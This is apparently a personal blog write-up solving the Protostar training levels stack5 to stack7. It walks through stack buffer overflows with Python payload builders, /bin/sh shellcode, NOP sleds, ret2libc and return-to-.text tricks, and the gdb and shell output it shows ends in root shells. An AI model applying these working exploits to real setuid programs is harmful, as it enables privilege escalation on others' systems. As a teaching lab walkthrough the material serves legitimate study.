Stack5 is a standard buffer overflow, this time introducing shellcode.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
At this point in time, it might be easier to use someone elses shellcode
If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
remove the int3s once your shellcode is done.
We will first find where the pushed eip
is located (find the offset), let’s use our alphabet string again:
(gdb) r
Starting program: /opt/protostar/bin/stack5
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()
We see that the offset is still at TTTT
just like previous challenges, which means that the buffer size is the same, let’s set a breakpoint just before the program finishes:
(gdb) disas main
Dump of assembler code for function main:
...
0x080483da <main+22>: ret
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
Now we’re going run it and feed it our alphabet string again, after reaching the breakpoint let’s look at how the stack looks first:
0xbffff7ac: 0x54545454 0x55555555 0x56565656 0x57575757
0xbffff7bc: 0x58585858 0x59595959 0x5a5a5a5a 0xb7ffef00
0xbffff7cc: 0x08048232 0x00000001 0xbffff810 0xb7ff0626
0xbffff7dc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7ec: 0x00000000 0xbffff828 0xadd1dd8a 0x8786cb9a
0xbffff7fc: 0x00000000 0x00000000 0x00000000 0x00000001
Now we see the address where the pushed eip
(the return address) that is filled with 0x54545454
is located, which is at 0xbffff7ac
. Now since we can write whatever we want here, we will change the return address to just point to the address after it, for example in the stack above, we will set the return pointer to the address of 0x55555555
, which is right next to 0x54545454
, since each “column” is 4 bytes, we just need to add 4 bytes to the address of 0x54545454
to find the address of 0x55555555
.
After a bit of math with hex numbers, we find the address to be 0xbffff7b0
, so let’s write this address in place of our TTTT
because this is where we want to jump to, then since we need to do something after we jump there, but we still don’t know what to do, so let’s look at some hints. Referring to the second hint, let’s try and put a \xcc
byte, a bit of googling tells that \xcc
is a trap to debugger opcode. We will be making a python script to do this:
// payloadbuilder.py
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
addr = "\xb0\xf7\xff\xbf"
code = "\xcc"
print filler+addr+code
Now we write the payload into a file:
python payloadbuilder.py > payload.txt
Now we run it in gdb
:
(gdb) r < /home/user/payload.txt
Starting program: /opt/protostar/bin/stack5 < /home/user/payload.txt
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff7b1 in ?? ()
Well, now we know we successfully jumped to our \xcc
, so let’s refer to the 1st hint and put in a shellcode, I found one here, let’s renew out python script then:
// payloadbuilder.py
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
addr = "\xb0\xf7\xff\xbf"
code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print filler+addr+code
Try and run it in gdb
:
(gdb) r
Starting program: /opt/protostar/bin/stack5 < /home/user/payload.txt
Executing new program: /bin/dash
Program exited normally.
Looks promising, but nothing happened, so let’s try it outside gdb
:
user@protostar:/opt/protostar/bin$ cat /home/user/payload.txt | ./stack5
Floating point exception
Wow ok I have no idea why that happened, well we can always google! After a bit of that, I found this video, from there we can learn about using \x90
opcode, which is the popular NOP
operation.
So now let’s build a “NOP sled” which is just a bunch of NOP
s before our shellcode, then we are going to change our overwritten return address (the overwritten eip
) to point around the middle of all those NOP
s (around the middle of our “NOP sled”).
The reason why we need to make these NOP
s if because we don’t know if the memory addresses will be different or not, or will it change when we execute the program outside gdb
, so in order to make it still work, these NOP
s will act as “bumpers”, where if we managed to hit 1 of them, we will “slide” down the NOP
s and eventually reach our shellcode, now let’s modify out python script, we will also be using struct
to make adding hex numbers easier:
// payloadbuilder.py
import struct
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
addr = struct.pack("I", 0xbffff7b0+50)
nopsled = "\x90"*100
code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print filler+addr+nopsled+code
Don’t forget to write it into a file
python payloadbuilder.py > payload.txt
Now let’s try it in gdb
:
(gdb) r < /home/user/payload.txt
Starting program: /opt/protostar/bin/stack5 < /home/user/payload.txt
Executing new program: /bin/dash
Program exited normally.
We still successfully ran the code, let’s see if we can run it outside gdb
:
user@protostar:~$ cat payload.txt | /opt/protostar/bin/stack5
user@protostar:~$ cat payload.txt | /opt/protostar/bin/stack5
I entered the that command in the terminal but nothing happened, tried it again in gdb
, it works, I checked the contents of payload.txt
and it was right.
After watching the video mentioned before, we know some stuff:
/bin/dash
) needs some input, otherwise it would just exit|
) will close/exit after whatever is on it’s left side is done executingSo our problem is, we successfully called the shell but didn’t give it any inputs, so the shell just exits. So now we are going to use the cat
trick shown in the video.
cat
with no parameters will point it’s own stdin to stdoutcat
is on the left of the pipe, the pipe will not closecat
will coninue to wait for user input, which will then be reflected into stdout (by cat
), which will then be piped into the vulnerable programThe final payload will be
(cat payload.txt; cat) | /opt/protostar/bin/stack5
What would happen is:
cat payload.txt
will be piped into /opt/protostar/bin/stack5
spawning our shellcat
(no params) will then start to wait for user inputcat
(no params), it will be reflected out into stdout/opt/protostar/bin/stack5
which is now our spawned shellBecause we are running /opt/protostar/bin/stack5
as root, our shell is also root (there’s a long answer regarding the suid bit of the program being set, but we’ll keep it simple for now).
user@protostar:~$ (cat payload.txt; cat) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
Stack6 looks at what happens when you have restrictions on the return address.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
This level can be done in a couple of ways, such as finding the duplicate of the payload (objdump -s will help with this), or ret2libc , or even return orientated programming.
We first find try to trigger SIGSEGV, let’s run the program in gdb
and give it our alphabet, let’s make the alphabet.
user@protostar:~$ echo "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" > alphabet.txt
Now we feed it through gdb
.
(gdb) r < /home/user/alphabet.txt
Starting program: /opt/protostar/bin/stack6 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()
Looks like 0x55555555
(translates into UUUU
) is where the return pointer (pushed eip
) should be, now let’s set a breakpoints right before getpath()
returns back to main()
:
(gdb) disas getpath
Dump of assembler code for function getpath:
...
0x080484f9 <getpath+117>: ret
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.
Let’s run it.
(gdb) r
Starting program: /opt/protostar/bin/stack6 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 in stack6/stack6.c
(gdb) x/24wx $esp
0xbffff79c: 0x55555555 0x56565656 0x57575757 0x58585858
0xbffff7ac: 0x59595959 0x5a5a5a5a 0xbffff800 0xbffff85c
0xbffff7bc: 0xb7fe1848 0xbffff810 0xffffffff 0xb7ffeff4
0xbffff7cc: 0x080482a1 0x00000001 0xbffff810 0xb7ff0626
0xbffff7dc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7ec: 0x00000000 0xbffff828 0xffecd58d 0xd5bbc39d
Now we can see the address of the eip
that is about to be popped is at 0xbffff79c
, now let’s try and make the payload.
// payloadbuilder.py
import struct
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_nops = struct.pack("I", 0xbffff79c+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print filler + addr_to_nops + nopsled + shellcode
Let’s output it into a file.
user@protostar:~$ python payloadbuilder.py > payload.txt
Then we run it in gdb
.
(gdb) r < /home/user/payload.txt
Starting program: /opt/protostar/bin/stack6 < /home/user/payload.txt
input path please: bzzzt (0xbffff7ce)
Program exited with code 01.
Looks like we got into the “if” clause in the source and the program exited immediately. After watching this video, it turns out that we can’t jump to an address that starts with 0xbf
, so a neat trick, is that we jump to the ret
instruction.
How this works is that:
0x080484fa
)Because our ret
operation is a piece of code, it is stored around on top of the memory, so we won’t fall into the “if” clause because our address won’t start with 0xbf
.
Why jump to a ret
operation? The ret
operation will pop whatever is on top of the stack into the eip
register, meaning we are going to jump to the address that’s on top of the stack. So the trick is:
getpath()
’s ret
operation
ret
will be operated again, popping another value into eip
Let’s recap some stuff before building the payload
0xbffff79c
0xbffff7a0
) will point to our nopsledsret
operation is at 0x080484f9
So the flow will be something like this:
eip
with 0x080484f9
ret
operationret
will look at eip
, so it will jump thereret
(it’s actually jumping to itself) so it’ll execute it again
eip
now points to our shellcodeLet’s build our payload!
// payloadbuilder.py
import struct
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_ret = struct.pack("I", 0x080484f9)
addr_to_nops = struct.pack("I", 0xbffff79c+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print filler + addr_to_ret + addr_to_nops + nopsled + shellcode
Then we output it into a file
user@protostar:~$ python payloadbuilder.py > payload.txt
Let’s run it in gdb
.
(gdb) r < /home/user/payload.txt
Starting program: /opt/protostar/bin/stack6 < /home/user/payload.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP�RRRRSSSSTTTT���������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���
Executing new program: /bin/dash
Program exited normally.
Looks promising, let’s try it outside gdb
and also with our cat
trick.
user@protostar:/opt/protostar/bin$ (cat /home/user/payload.txt; cat) | ./stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP�RRRRSSSSTTTT���������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���
ls
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6
pwd
/opt/protostar/bin
Referring to the hint, there are other ways to do it, let’s try it again but this time with ret2libc technique (also demonstrated in the video mentioned).
In the libc library there are a lot of functions, one of them is the system()
function, a function that can run shell commands. So let’s find out where it is and let’s jump into it
From the video, we can recap the exploit into these steps
__libc_system
function is at/bin/sh
is at__libc_system
/bin/sh
string
system()
function expects whatever is after it’s return pointer to be the string that it will executeBefore we can actually locate anything, we need to know where libc
is, so set a breakpoint somewhere, run the program, then look at the memory mappings
(gdb) info proc map
process 1758
cmdline = '/opt/protostar/bin/stack6'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fde000 0xb7fe2000 0x4000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
Now we know libc
is at 0xb7e97000
in memory and at /lib/libc-2.11.2.so
in our files.
Step 1 is pretty simple, we just ask gdb
where the system()
function is, there are a couple of ways to do it, we’ll know it really is a function and not just the string __libc_system
because of the <
and >
.
(gdb) x system
0xb7ecffb0 <__libc_system>: "\203\354\f\211t$\004\213t$\020\211\034$\350\354\332\375\377\201\303\061\200\020"
(gdb) x __libc_system
0xb7ecffb0 <__libc_system>: "\203\354\f\211t$\004\213t$\020\211\034$\350\354\332\375\377\201\303\061\200\020"
Now that we know our system()
function is at 0xb7ecffb0
, time to find the string /bin/sh
, we’ll do step 2 with the help of strings
, grep
, and gdb
.
user@protostar:~$ strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh"
11f3bf /bin/sh
Here we see 2 switches of the strings
command, -a
searches the entire file, -t x
prints the offset of the string found as hex. So we add this offset with the memory where libc
is located to get it’s actual address in the memory, we do it with gdb
.
(gdb) x/s 0xb7e97000 + 0x11f3bf
0xb7fb63bf: "/bin/sh"
The gdb
command means: examine (x/
) as string (s
) whatever is at 0xb7fb63bf
(which is 0xb7e97000
+ 0x11f3bf
). Now we know the string /bin/sh
is at 0xb7fb63bf
, let’s make the payload!
// payloadbuilder2.py
import struct
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_of_system = struct.pack("I", 0xb7ecffb0)
addr_of_binsh = struct.pack("I", 0xb7fb63bf)
print filler + addr_of_system + "AAAA" + addr_of_binsh
Why we made the payload this way is so that:
filler
addr_of_system
system()
function in libc
addr_of_system
into eip
, the system()
function is going to expect the stack to point to it’s return address (but we just filled it with AAAA
), and also expect what’s after the return address to be the string that it will executeaddr_of_binsh
lastThen pipe it into a file.
user@protostar:~$ python payloadbuilder2.py > payload2.txt
Now let’s try it in gdb
.
(gdb) r < /home/user/payload2.txt
Starting program: /opt/protostar/bin/stack6 < /home/user/payload2.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP����RRRRSSSSTTTT����AAAA�c��
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Well, we didn’t get a shell, but we did tried to jump to 0x41414141
which is AAAA
, let’s try it outside gdb
with out cat
trick, and hope for the best.
user@protostar:/opt/protostar/bin$ (cat /home/user/payload2.txt; cat) | ./stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP����RRRRSSSSTTTT����AAAA�c��
ls
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6
pwd
/opt/protostar/bin
exit
Segmentation fault
user@protostar:/opt/protostar/bin$
We did get the shell here and as expected we got SIGSEGV because we tried to return to 0x41414141
, though I have no idea why it doesn’t work in gdb
.
But hey, at least we now understand what “ret2libc” is
Stack7 introduces return to .text to gain code execution.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
The metasploit tool “msfelfscan” can make searching for suitable instructions very easy, otherwise looking through objdump output will suffice.
Remember the first technique in stack6 ? The one where you “return twice” ? Turns out that is actually ret2.text which is what is needed to solve this problem, as exactly mentioned in the problem description.
First, let’s feed it our usual alphabet to see how big the buffer is, and where we can overwrite the pushed eip
.
(gdb) r < /home/user/alphabet.txt
Starting program: /opt/protostar/bin/stack7 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()
Looks like the eip
is supposed to be at the UUUU
, well then let’s keep that in mind and now we set a breakpoint at the ret
.
(gdb) disas getpath
Dump of assembler code for function getpath:
...
0x08048544 <getpath+128>: ret
End of assembler dump.
(gdb) b *0x08048544
Breakpoint 1 at 0x8048544: file stack7/stack7.c, line 24.
Let’s run the program again and look at the stack.
0xbffff79c: 0x55555555 0x56565656 0x57575757 0x58585858
0xbffff7ac: 0x59595959 0x5a5a5a5a 0xbffff800 0xbffff85c
0xbffff7bc: 0xb7fe1848 0xbffff810 0xffffffff 0xb7ffeff4
0xbffff7cc: 0x080482bc 0x00000001 0xbffff810 0xb7ff0626
0xbffff7dc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7ec: 0x00000000 0xbffff828 0x94e4dd29 0xbeb3cb39
Now we see our new return pointer will sit where the 0x55555555
is at (which is at 0xbffff79c
), and we need the address next to it (which is 0xbffff7a0
) to point to our nops. Let’s build the payload then!
// payloadbuilder.py
import struct
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_ret = struct.pack("I", 0x08048544)
addr_to_nops = struct.pack("I", 0xbffff7a0+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print filler+addr_to_ret+addr_to_nops+nopsled+shellcode
Print it into a file.
user@protostar:~$ python payloadbuilder.py > payload.txt
Try it out in gdb
.
(gdb) r < /home/user/payload.txt
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack7 < /home/user/payload.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���
Breakpoint 1, 0x08048544 in getpath () at stack7/stack7.c:24
24 in stack7/stack7.c
(gdb) c
Continuing.
Breakpoint 1, 0x08048544 in getpath () at stack7/stack7.c:24
24 in stack7/stack7.c
(gdb) c
Continuing.
Executing new program: /bin/dash
Program exited normally.
Looks very promising, we hit the breakpoint twice like we should, and the shell was spawned. Let’s see how we do outside gdb
.
user@protostar:/opt/protostar/bin$ (cat /home/user/payload.txt; cat) | ./stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���
ls
Segmentation fault
user@protostar:/opt/protostar/bin$
Well, that’s wierd, let’s try and increase our nopsled size.
To keep it short, it didn’t work, so instead of trying to adjust the nopsled size, I tried to find a way to spawn the shellcode inside gdb
, but instead I found this. Looks like gdb
messes with our env vars, so to counter that we run these 2 commands in gdb
.
(gdb) unset env LINES
(gdb) unset env COLUMNS
Now if we look at the address of things in the stack, they changed. Let’s set the breakpoint at the ret
again and look at the stack now.
(gdb) r < /home/user/alphabet.txt
Starting program: /opt/protostar/bin/stack7 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Breakpoint 1, 0x08048544 in getpath () at stack7/stack7.c:24
24 stack7/stack7.c: No such file or directory.
in stack7/stack7.c
(gdb) x/24wx $esp
0xbffff7bc: 0x55555555 0x56565656 0x57575757 0x58585858
0xbffff7cc: 0x59595959 0x5a5a5a5a 0xbffff800 0xbffff87c
0xbffff7dc: 0xb7fe1848 0xbffff830 0xffffffff 0xb7ffeff4
0xbffff7ec: 0x080482bc 0x00000001 0xbffff830 0xb7ff0626
0xbffff7fc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff80c: 0x00000000 0xbffff848 0x0097f0d3 0x2ac026c3
So now our eip
will be at 0xbffff7bc
, which means our second eip
which point to our nops will be at 0xbffff7c0
. Let’s fix the payload.
// payloadbuilder.py
import struct
filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_ret = struct.pack("I", 0x08048544)
addr_to_nops = struct.pack("I", 0xbffff7c0+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print filler+addr_to_ret+addr_to_nops+nopsled+shellcode
Rewrite the output file.
user@protostar:~$ python payloadbuilder.py > payload.txt
Run it outside gdb
.
user@protostar:/opt/protostar/bin$ (cat /home/user/payload.txt; cat) | ./stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���
ls
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6
pwd
/opt/protostar/bin
Nice, btw if you still run into SIGSEGV, the addresses in .text might change too so watch out for that.
Well, we didn’t get any actual flags, but we learned a LOT (at least I did), from basic SIGSEGV trigger all the way to spawning a shell with a shellcode by overwriting eip
, and then we did ret2libc, and even ret2.text
‹ Previous in Binary exploitation: Protostar - stack7 | Next in Binary exploitation: handy-shellcode › |